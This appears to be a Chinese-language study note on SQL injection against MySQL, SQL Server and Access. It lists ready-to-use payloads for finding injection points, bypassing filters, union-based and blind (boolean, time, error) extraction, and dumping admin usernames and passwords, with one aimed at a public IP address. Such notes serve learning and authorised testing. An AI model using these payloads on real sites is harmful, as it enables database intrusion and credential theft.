Mysql、Access、Sqlsever数据库注入

本周主要学习的事SQL注入相关的细节信息,包括数据库枚举方式,判定注入点的方式,注入形式等等,具体如下:

【一、判断数据库类型 】

看到一个网站首先要判断网站的数据库类型,首先了解主流的三款数据库

1、Access一般用在小网站上,类似企业站,功能比较简单,对数据要求不高;2、Mssql是一个比较大的完善的数据库,在windows上常用,配NETASP等程序。3、Mysql是一个小型的公开源代码的免费数据库,在windows,linux上都常用,和PHP程序组成一对完美搭档。

一般PHP 为mysql,asp、aspx为sql sever

mysql数据库 php网页后缀用'来看是否报错,确定报错后判断闭合条件

Mysql【a\Mysql闭合条件查询】

http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型

数字型不用特意加字符,直接 and1=2检测是否有注入点;

http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin  --+  字符型

字符型需要在'xx--+ 中间输入命令,'and1=2--+检测是否有注入点;

http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+  搜索型

搜索型需要在%'xx--+中间输入命令,%'and1=2--+检测是否有注入点;

http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查询数据库

宽字节型需要在%df%27xx%23中间输入命令,%df%27and1=2%23检测是否有注入点,查询列表值得时候’‘要用0x十六进值代替;

【 b/SQL注入过滤限制绕过方法】

1、大小写过滤:http://xxxx?id=-1 Union SELect 1,2,3

2、空格过滤:http://xxxx?id=-1/**/uninon/**/...  (标黄代替空格)

3、空格和: http://xxxx?id=-1%252f%252a*/and%252f%252a*/1=1

相当于是--http://xxxx?id=-1 and 1=1

【C/数据库枚举查询】

联合查询数据库名,表名,列值,内容方式:

查询数据库:http://xxxxxx? union select null,schema_name,null from information_schema.schemata

查询当前数据库:http://xxxxxx? union select 1,database(),null

查询当前版本信息:http://xxxxxx? union select 1,user,@@version,null

查询数据表:http://xxxxxx? union select null,table_name,null from information_schema.tables where tabale_schema='xxx'

查询数据字段:http://xxxxxx? union select null,column_name,null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'

查询详细信息:http://xxxxxx? union select null,column_name,null from schema_name.columa_name

group_concat()查询全部列表 ;

【D/盲注】

• 基于布尔SQL盲注--构造逻辑判断

mid()函数

此函数为截取字符串一部分。MID(column_name,start[,length])

Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

substr()函数

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

用法和MID用法一样的;

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n )        string为要截取的字符串,n为长度。

利用left(database(),1)进行尝试

http://127.0.0.1/test/qwe/sql/01.php?id=1%20and%20left(@@version,1)=5

查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

• 基于时间的SQL盲注--延时注入

延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。

延时注入作为最精准的注入;

首先我们确定该页面存在延时注入。延时注入的使用环境多为常规注入无法正常显示数据的情况下,由于时间问题我们就写容错,直接进行延时注入。

假设我们输入常规注入语句页面没有变化,带入“and sleep(2)”后页面响应时间出现明显变化,那么就基本可以确定这是一个延时注入。

语句:select if(ascii(mid(user(),1,1))=114,sleep(2),1);  该语句的意思为查询user()用户名截取第一个字符 然后跟114对比(114为r的ascii码),如果条件成立执行sleep(2)延时2秒,否则执行查询输出1

首先我们用通过union查询字段长度。得到字段长度为3.

带入查询语句,我们首先需要知道我们想要得到数据的长度,这里我们以查询数据库名为例。在我们猜测7时,if条件成立执行sleep函数,证明database()的长度为7

http://127.0.0.1/index.php?id=1 and if(length(database())=7,sleep(2),1)

知道了长度我们要做的就是猜解每一位是什么。通过mid函数取database的第一位进行对比,条件成立执行sleep函数,115为s的ascii码

http://127.0.0.1/test/qwe/sql/8.php?id=1%20and%20if(ascii(mid(database(),1,1))=115,sleep(2),1)

接下来一个个猜解

•基于报错的SQL盲注--报错注入

基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上

一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,

它的特点是注入速度快,但是语句较复杂,大部分情况只能用limit依次猜解

语句:and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

extractvalue()  报错语句用法

http://127.0.0.1/index.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

updatexml()报错语句用法

http://127.0.0.1/index.php?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

【两个语句把user()替换成相关的其他语句一样用】

SQLsever【a\Sql sever数据库注入】

基础查询

查询所有:

Select * from 表名

select * from Student

1、说明:创建数据库

CREATE DATABASE database-name

2、说明:删除数据库

drop database dbname

SELECT TOP 2 * FROM table_name    mssql

同等于

SELECT * FROM table_name LIMIT 0,2    mysql

判断数据库类型

Access:

and (select id from MSysAccessObjects) >0 返回正常说明是access

MSSQL:

and (select id from sysobjects) >0 返回正常说明是mssql

MSSSQL  权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等 system

db权限:文件管理,数据库操作等 users-adminstrators

public权限:数据库操作 guest-users

注入点权限判断

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员

and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限

and 1=(select is_srvrolemember('public')) //判断是否为public权限

----------------

;declare @d int //判断MsSQL支持多行语句查询

and user>0 //获取当前数据库用户名

and db_name()>0 //获取当前数据库名称

and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

----------------

注入过程:

'查注入点

1、获取一个数据库

and 1=(select top 1 name from master..sysdatabases where dbid>4)

如果你要查询的是所有数据库(用户/系统):

select * from master..sysdatabases

如果你要查询的是用户数据库,则使用:

select * from master..sysdatabases where dbid > 4

如果你要查询的是系统数据库,只需要把where字句改为dbid < 4即可。

查询下一个数据库

and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')

以此类推可以查询全部的数据库

2、获取第一张表 threads

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

获取第二张表 users

?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' )

获取第三张表 forums

?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' and name <> 'users' )

3、获取第一列列名 uname

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))

获取第二列列名 upass

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname' )

4、获取第一个用户名

?id=1 and 1=(select top 1 uname from users)

获取第一个用户名对应的密码

?id=1 and 1=(select top 1 upass from users )

ACCESS【a\Access数据库注入】

判断注入点

And 1=1

And 1=2

/

-0

判断数据库类型

and exsits (select * from msysobjects)>0  access

and exsits (select * from sysobjects)>0    sqlserver

EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False

猜表名:

and exists (select * from 你要猜得表名)查看是否存在表名 (存在的情况下页面刷新正常,同理猜字段一样的 )

判断数据库表

and exists (select * from admin)

判断数据库列名

and exists (select admin from admin)

猜列名的字段名: and exists (select 你要猜的字段名 from 你已经才出来的表名)查看是否存在字段名

判断字段长度

order by 20

报错

and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin

数据库联合查询

and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin

你可能感兴趣的:(Mysql、Access、Sqlsever数据库注入)